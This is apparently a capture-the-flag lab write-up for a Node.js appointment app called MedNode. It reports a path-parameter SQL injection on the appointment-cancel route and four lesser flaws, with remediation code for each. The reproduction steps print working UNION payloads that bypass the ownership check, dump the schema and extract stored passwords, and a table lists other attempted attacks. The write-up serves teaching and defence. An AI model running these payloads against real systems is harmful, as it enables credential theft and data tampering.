BugForge — 2026.07.22

MedNode: Path-Parameter SQL Injection to Full Database Read

BugForge Path-Parameter SQL Injection medium

Executive Summary

MedNode is a Node.js/Express appointment-scheduling application with doctor and patient roles, JWT authentication held in browser localStorage, and a SQLite backend. Testing confirmed a critical SQL injection in the appointment-cancel route’s path parameter. A fully unprivileged patient account, obtainable through open self-registration, could read the entire database, including every user’s stored password value.

Testing confirmed 5 findings:

ID Title Severity CVSS CWE Endpoint
F1 SQL injection in appointment-cancel path parameter Critical 9.1 * CWE-89 POST /api/appointments/:id/cancel
F2 Unauthenticated doctor directory disclosure Low † 5.3 CWE-306 GET /api/doctors
F3 No appointment-slot uniqueness (double-booking) Low † 4.3 CWE-841 POST /api/appointments
F4 Unvalidated doctor_id on appointment creation Low † 4.3 CWE-20 POST /api/appointments
F5 Missing role check on request accept/deny Low 3.1 CWE-862 POST /api/appointment-requests/:id/accept\|deny

* F1 is scored PR:N to reflect open self-registration: the endpoint requires a Bearer token, but any attacker obtains a patient token instantly with no approval step. Scored against the literal authentication requirement (PR:L), the base is 8.1 (High).

† CVSS math places F2 at 5.3 and F3/F4 at 4.3 (Medium band). These are labeled Low because the disclosed or affected data is low-sensitivity (a patient-facing doctor directory; scheduling records).

The flag-bearing finding is F1. The cancel route interpolates its :id path segment straight into a SQL query, and the ownership check that should restrict cancellation to the caller’s own appointments is applied in application code against whatever row the query returns. A UNION SELECT that places the caller’s own user id in the ownership column position both passes that check and reflects arbitrary selected rows back in the response JSON, turning a write endpoint into a full database read channel. The engagement flag was seeded into the password column of the users table and read out directly.


Objective

Full black-box web application assessment in a bug-bounty style, with recovery of the engagement flag as the confirmation objective.


Scope / Initial Access

# Target Application
URL: https://lab-<instance-id>.labs-app.bugforge.io/
# Instances are ephemeral (~1h TTL); the host in captured requests below
# is lab-1784673130076-jmso7s, the instance live during exploitation.

# Auth details
# Open self-registration: POST /api/auth/register {username,password,full_name}
# Login: POST /api/auth/login {username,password} -> {token, user}
# JWT (HS256) sent as: Authorization: Bearer <token>
# Starting privilege: none (register a patient account)

Registration is open and assigns the patient role. Login returns a JWT whose payload carries the account’s numeric id, username, and role. That numeric id is the value later abused to satisfy the cancel route’s ownership check.


Reconnaissance: Mapping the API from the Client Bundle

The application serves static HTML pages plus ES modules under /js/. Reading patient.js and doctor.js (no authentication required) exposed the complete API surface, so no blind endpoint discovery was needed to build the test plan. The following observations shaped the testing that followed:

  1. The frontend enforces route access with a client-side guard only; the HTML and JS are readable without a token. The API map came directly from the bundle.
  2. GET /api/doctors returns 200 with no token, disclosing doctor ids and usernames. This confirmed that per-endpoint authentication is applied inconsistently (F2).
  3. Roles are doctor and patient, and user ids are sequential (doctors seeded at ids 1 and 2). This motivated access-control and role-boundary testing.
  4. The API is a small, fixed set of routes, several of which take a numeric :id path segment (cancel, accept, deny). Hand-written plumbing routes like these are candidate injection locations that a clean body-parameter probe says nothing about.

Observation 4 is what eventually produced the flag: body parameters tested clean for injection early, but the path segment was never a parameterized input.


Application Architecture

Component Detail
Backend Node.js / Express (X-Powered-By: Express)
Frontend Bootstrap 5 + FullCalendar, ES modules under /js/
Auth JWT (HS256), Bearer token in Authorization header, stored in localStorage
Database SQLite (error strings unrecognized token, ORDER BY term out of range)

API Surface

Endpoint Method Auth Notes
/api/auth/register POST No {username,password,full_name}; ignores unknown fields
/api/auth/login POST No returns {token, user}; per-IP login rate limit (~10/window)
/api/doctors GET No leaks doctor id + username (F2)
/api/reasons GET Yes appointment reason list
/api/appointments GET Yes role-scoped view
/api/appointments POST Yes {doctor_id,appointment_date,appointment_time,reason_id} (F3, F4)
/api/appointments/:id/cancel POST Yes SQL injection in :id (F1)
/api/appointment-requests GET Yes (doctor) 403 for patients
/api/appointment-requests/:id/accept\|deny POST Yes no role check on the handler (F5)

Known Users

Username ID Role
dr.smith 1 doctor
dr.jones 2 doctor
jeremy 3 patient
jessamy 4 patient

Attack Chain Visualization

┌───────────────┐   ┌───────────────┐   ┌───────────────┐   ┌───────────────┐   ┌───────────────┐
│ Register +    │   │ Quote-probe   │   │ ORDER BY 8    │   │ UNION w/ our  │   │ Dump users →  │
│ login →       │──▶│ :id = 5'  →   │──▶│ error →       │──▶│ id in owner   │──▶│ flag in       │
│ patient JWT   │   │ 500 SQLite    │   │ 7 columns     │   │ column → 200  │   │ password col  │
│ (id 9)        │   │ parser error  │   │               │   │ row reflected │   │               │
└───────────────┘   └───────────────┘   └───────────────┘   └───────────────┘   └───────────────┘

Findings

F1: SQL Injection in Appointment-Cancel Path Parameter

Severity: Critical CVSS v3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) CWE: CWE-89 (SQL Injection) Endpoint: POST /api/appointments/:id/cancel Authentication required: Yes (any patient JWT; registration is open)

Description

The :id path segment of the cancel route is placed directly into a SQL statement without parameterization. Two defects compound:

  1. String interpolation of the path segment. A single quote at the :id position produces a SQLite parser error, and a UNION SELECT injects arbitrary rows into the result set. A boolean condition at the same position (5 AND 1=1 returns a 200 cancellation response, 5 AND 1=2 returns 404) confirms the injected value is evaluated by the query behind the cancel action, so a crafted condition can change which rows are updated, not only read.
  2. Application-side ownership check on the returned row. The check that should restrict cancellation to the caller’s own appointments is applied in application code against the row the query returns, not inside the query. A UNION SELECT that places the caller’s own user id in the patient_id column position passes the check, and the selected row is echoed back in the response JSON.

Together these turn the cancel endpoint into a UNION-based read channel over the entire database.

Impact

Full read of the application database by any registered patient account, including every user’s stored password value. Because the injection point is the cancel (update) statement, appointment records can also be altered.

Reproduction

Step 1: Obtain a patient token. Register a patient account, then log in.

POST /api/auth/login HTTP/1.1
Host: lab-1784673130076-jmso7s.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor","password":"password"}

Response 200: {"token":"eyJ...","user":{"id":9,"username":"haxor","role":"patient","full_name":"haxor"}}. Our account id is 9; this value is reused in Step 4.

Step 2: Confirm injection with a single-quote probe.

POST /api/appointments/5'/cancel HTTP/1.1
Host: lab-1784673130076-jmso7s.labs-app.bugforge.io
Authorization: Bearer <token>

Response 500: {"error":"unrecognized token: \"'\""}. The quote reaches the SQL parser, confirming the :id value is string-interpolated into the query.

Step 3: Determine the column count.

POST /api/appointments/7%20order%20by%208/cancel HTTP/1.1
Host: lab-1784673130076-jmso7s.labs-app.bugforge.io
Authorization: Bearer <token>

Response 500: {"error":"1st ORDER BY term out of range - should be between 1 and 7"}. The query selects 7 columns.

Step 4: Bypass the ownership check with a UNION. The handler checks ownership against the returned row’s patient_id, so we place our own id (9) in the third column position and use -1 as the base id so only the UNION row returns.

POST /api/appointments/-1%20union%20select%201%2C2%2C9%2C4%2C5%2C6%2C7%20from%20sqlite_master--/cancel HTTP/1.1
Host: lab-1784673130076-jmso7s.labs-app.bugforge.io
Authorization: Bearer <token>

Decoded :id: -1 union select 1,2,9,4,5,6,7 from sqlite_master-- Response 200: {"message":"Appointment cancelled","appointment":{"id":1,"doctor_id":2,"patient_id":9,"appointment_date":4,"appointment_time":5,"reason_id":6,"status":7}}. The injected row is reflected. Every column except the third can carry extracted output; only the third (patient_id) is locked, because a value other than our own id there returns 403. That 403 also fingerprints the ownership check as running on the returned row. Later steps route username and password into the appointment_time and reason_id positions.

Step 5: Enumerate the schema.

POST /api/appointments/-1%20union%20select%201%2C2%2C9%2C4%2Cname%2Csql%2C7%20from%20sqlite_master%20limit%201%20offset%205--/cancel HTTP/1.1
Host: lab-1784673130076-jmso7s.labs-app.bugforge.io
Authorization: Bearer <token>

Iterating OFFSET over sqlite_master returns each table’s DDL. The users table (offset 5) is:

CREATE TABLE users (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      username TEXT UNIQUE NOT NULL,
      password TEXT NOT NULL,
      role TEXT NOT NULL CHECK(role IN ('doctor', 'patient')),
      full_name TEXT NOT NULL
    )

Step 6: Exfiltrate the flag. Select username and password from users, iterating OFFSET to walk every row. Because the payload uses UNION (not UNION ALL), the result set is sorted and deduplicated, so OFFSET indexes into that sorted order rather than row id.

POST /api/appointments/-1%20union%20select%201%2C2%2C9%2C4%2Cusername%2Cpassword%2C7%20from%20users%20limit%201%20offset%204--/cancel HTTP/1.1
Host: lab-1784673130076-jmso7s.labs-app.bugforge.io
Authorization: Bearer <token>

Response 200: {"message":"Appointment cancelled","appointment":{"id":1,"doctor_id":2,"patient_id":9,"appointment_date":4,"appointment_time":"dr.jones","reason_id":"bug{qfJHcotD8oE2df8ylt6FnqguXsqgyKcI}","status":7}}. The password column of seeded user dr.jones holds the flag. Registered users’ rows return bcrypt hashes in the same column, so the same channel reads every stored credential.

Remediation

Fix 1: Parameterize the id and validate it as an integer.

// BEFORE (Vulnerable). :id interpolated into SQL (inferred; source not available)
const row = db.prepare(
  `SELECT * FROM appointments WHERE id = ${req.params.id}`
).get();
if (row.patient_id !== req.user.id) return res.sendStatus(403);
db.prepare(
  `UPDATE appointments SET status = 'cancelled' WHERE id = ${req.params.id}`
).run();

// AFTER (Secure). Parameterized, integer-validated, ownership enforced in SQL
const id = Number.parseInt(req.params.id, 10);
if (!Number.isInteger(id)) return res.sendStatus(400);
const result = db.prepare(
  `UPDATE appointments SET status = 'cancelled' WHERE id = ? AND patient_id = ?`
).run(id, req.user.id);
if (result.changes === 0) return res.sendStatus(404);

Fix 2: Enforce ownership inside the query, not on the returned row. The AND patient_id = ? clause in the fixed statement moves the ownership check into the database, so a crafted result set can no longer satisfy it. Removing the after-the-fact JavaScript check on the returned row also closes the UNION-reflection channel.

Additional recommendations:

  • Apply the same integer validation and parameterization to every numeric :id route (cancel, accept, deny share the pattern).
  • Return a minimal confirmation from write endpoints rather than the full affected row; the row reflection was the exfiltration channel here.
  • Registered users’ bcrypt hashes were readable through this injection. For a real deployment, treat all stored credentials as exposed and force rotation.

F2: Unauthenticated Doctor Directory Disclosure

Severity: Low CVSS v3.1: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) Severity basis: Labeled Low on the low sensitivity of the disclosed doctor directory; the CVSS math lands in the Medium band. CWE: CWE-306 (Missing Authentication for a Critical Function) Endpoint: GET /api/doctors Authentication required: No

Description

The doctor directory endpoint returns doctor ids and usernames with no token. Every other data endpoint under /api requires authentication, so the directory is an inconsistency in the per-endpoint auth model.

Impact

Pre-authentication disclosure of the doctor directory (ids and usernames).

Reproduction

Step 1: Request the directory with no Authorization header.

GET /api/doctors HTTP/1.1
Host: lab-1784673130076-jmso7s.labs-app.bugforge.io

Response 200: {"doctors":[{"id":2,"username":"dr.jones"},{"id":1,"username":"dr.smith"}]}. Doctor ids and usernames are returned without a token.

Remediation

Fix 1: Require authentication, or restrict the public shape.

// BEFORE (Vulnerable). Open route
app.get('/api/doctors', (req, res) => res.json({ doctors: listDoctors() }));

// AFTER (Secure). Require a valid token
app.get('/api/doctors', requireAuth, (req, res) => res.json({ doctors: listDoctors() }));

Additional recommendations:

  • If a public directory is an intended feature, return only display fields (a display name, not the login username) and rate-limit the route.

F3: No Appointment-Slot Uniqueness (Double-Booking)

Severity: Low CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) Severity basis: Labeled Low as a scheduling-integrity issue; the CVSS math lands in the Medium band. CWE: CWE-841 (Improper Enforcement of Behavioral Workflow) Endpoint: POST /api/appointments Authentication required: Yes

Description

The appointment-creation endpoint enforces no uniqueness on the doctor/date/time slot. The same doctor, date, and time is bookable by multiple patients, and each booking is created without conflict.

Impact

Scheduling integrity: a single slot can be held by multiple patients at once.

Reproduction

Step 1: Book a slot as one patient.

POST /api/appointments HTTP/1.1
Host: lab-1784673130076-jmso7s.labs-app.bugforge.io
Authorization: Bearer <patient-A token>
Content-Type: application/json

{"doctor_id":1,"appointment_date":"2026-07-25","appointment_time":"10:00","reason_id":1}

Response 201: {"message":"Appointment requested"}.

Step 2: Book the identical slot as a different patient.

POST /api/appointments HTTP/1.1
Host: lab-1784673130076-jmso7s.labs-app.bugforge.io
Authorization: Bearer <patient-B token>
Content-Type: application/json

{"doctor_id":1,"appointment_date":"2026-07-25","appointment_time":"10:00","reason_id":1}

Response 201: {"message":"Appointment requested"}. The duplicate slot is accepted.

Remediation

Fix 1: Add a uniqueness constraint on the slot.

-- AFTER (Secure). Reject duplicate slots at the database level
CREATE UNIQUE INDEX ux_slot ON appointments (doctor_id, appointment_date, appointment_time);

Additional recommendations:

  • Validate slot availability in the handler before insert and return a 409 Conflict on collision.

F4: Unvalidated doctor_id on Appointment Creation

Severity: Low CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) Severity basis: Labeled Low as a data-integrity issue; the CVSS math lands in the Medium band. CWE: CWE-20 (Improper Input Validation) Endpoint: POST /api/appointments Authentication required: Yes

Description

The doctor_id field accepts any user id, including a patient’s, with no validation that the referenced user is a doctor. The appointment is created, and the listing JOIN renders the referenced patient in the doctor position.

Impact

Data integrity: appointments can reference non-doctor users, misrepresenting who the provider is.

Reproduction

Step 1: Create an appointment pointing at a patient user id.

POST /api/appointments HTTP/1.1
Host: lab-1784673130076-jmso7s.labs-app.bugforge.io
Authorization: Bearer <patient token>
Content-Type: application/json

{"doctor_id":5,"appointment_date":"2026-07-26","appointment_time":"11:00","reason_id":1}

Response 201: {"message":"Appointment requested"}. User id 5 is a patient, not a doctor. In the subsequent listing the appointment renders with that patient’s name in the doctor field.

Remediation

Fix 1: Validate the referenced user is a doctor.

// AFTER (Secure). Reject a doctor_id that is not actually a doctor
const doctor = db.prepare(
  `SELECT id FROM users WHERE id = ? AND role = 'doctor'`
).get(req.body.doctor_id);
if (!doctor) return res.sendStatus(400);

Additional recommendations:

  • Apply the same referential validation to reason_id.

F5: Missing Role Check on Request Accept/Deny

Severity: Low CVSS v3.1: 3.1 (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N) CWE: CWE-862 (Missing Authorization) Endpoint: POST /api/appointment-requests/:id/accept|deny Authentication required: Yes

Description

The GET /api/appointment-requests list route enforces a doctor-role check and returns 403 to a patient. The POST accept and deny handlers do not enforce that check: a patient reaches the handler body, which returns 404 "Request not found" rather than 403. Exploitation requires a pending request matching the caller. No pending state was reachable as a patient in the observed workflow (all created appointments are auto-confirmed), so the gap is latent.

Impact

Latent missing authorization on a doctor-only action. Not exploitable in the observed application state.

Reproduction

Step 1: Confirm the list route is role-gated.

GET /api/appointment-requests HTTP/1.1
Host: lab-1784673130076-jmso7s.labs-app.bugforge.io
Authorization: Bearer <patient token>

Response 403.

Step 2: Call accept as a patient.

POST /api/appointment-requests/6/accept HTTP/1.1
Host: lab-1784673130076-jmso7s.labs-app.bugforge.io
Authorization: Bearer <patient token>

Response 404: {"error":"Request not found"}. The 404 (rather than the 403 returned by the role-gated list route) shows the handler executed without a role check.

Remediation

Fix 1: Apply the doctor-role middleware to the write handlers.

// AFTER (Secure). Same role guard as the list route
app.post('/api/appointment-requests/:id/accept', requireAuth, requireDoctor, acceptHandler);
app.post('/api/appointment-requests/:id/deny',   requireAuth, requireDoctor, denyHandler);

Additional recommendations:

  • Confirm the accept/deny handlers also verify the request belongs to the acting doctor, not just that the caller holds the doctor role.

OWASP Top 10 Coverage

  • A03:2021 Injection: F1 is a SQL injection through an unparameterized path segment.
  • A01:2021 Broken Access Control: F1’s ownership check runs on the returned row and is bypassable; F5 is a missing role check on a doctor-only action; F2 is a missing-authentication data disclosure.
  • A04:2021 Insecure Design: F3 (no slot-uniqueness constraint) and F4 (no referential validation of doctor_id) are missing business-logic controls.

Tools Used

Tool Purpose
curl Manual request crafting and injection probing
Caido Proxy capture, request replay, kill-chain export
Firefox + PwnFox Browser session and multi-account color profiles
feroxbuster / ffuf Endpoint discovery (no hidden routes found)
hashcat Offline JWT secret brute-force (no crack)
jwt_tool JWT inspection and alg-tampering tests

References

  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command. https://cwe.mitre.org/data/definitions/89.html
  • CWE-306: Missing Authentication for a Critical Function. https://cwe.mitre.org/data/definitions/306.html
  • CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/data/definitions/841.html
  • CWE-20: Improper Input Validation. https://cwe.mitre.org/data/definitions/20.html
  • CWE-862: Missing Authorization. https://cwe.mitre.org/data/definitions/862.html
  • OWASP Top 10 2021: A01, A03, A04. https://owasp.org/Top10/
  • OWASP SQL Injection Prevention Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

Failed Approaches

Approach Result Why It Failed
JWT secret brute-force (rockyou, 104k scraped list, masks ?l^1-7, context wordlist) No crack Secret not weak and not in any list; ~2h of compute against an unverified assumption
Password spray of seeded accounts (dr.smith, dr.jones, jeremy, jessamy) All invalid; IP-wide rate limit engaged The seeded accounts’ password column holds the flag, not a usable credential. Doomed by design
Register-time role mass-assignment (role=doctor) Account created as patient Registration ignores unknown fields
Username collision (case and whitespace variants of dr.smith) Login returned our own row Registration is case-sensitive; login does not case-fold into a collision
Prototype pollution on register/login (__proto__, constructor) No role change Input is not merged into a pollutable object
Object injection on login ({"$ne":""}) 500 type error, not an auth bypass Backend is SQLite, not a document store
JWT alg:none / signature stripping 401 Signature is verified properly
IDOR on cancel with a normal id (one patient against another’s appointment) 403 Ownership is enforced for a plain id; only the UNION shape bypasses it
SQL injection in body params (doctor_id, reason_id, appointment_time) No tell Parameterized or validated; only the path :id was interpolated
Hidden endpoints (feroxbuster common.txt, ffuf raft-small, manual admin/flag/config) 404 Surface is exactly the known routes
Verb tampering (PUT/PATCH/DELETE on appointments and requests) 404 No alternate-method routes

Tags: #sqli #path-parameter #union-based #sqlite #broken-access-control #bugforge #webapp Document Version: 1.0 Last Updated: 2026-07-22

#sqli #path-parameter #union-based #sqlite #broken-access-control #bugforge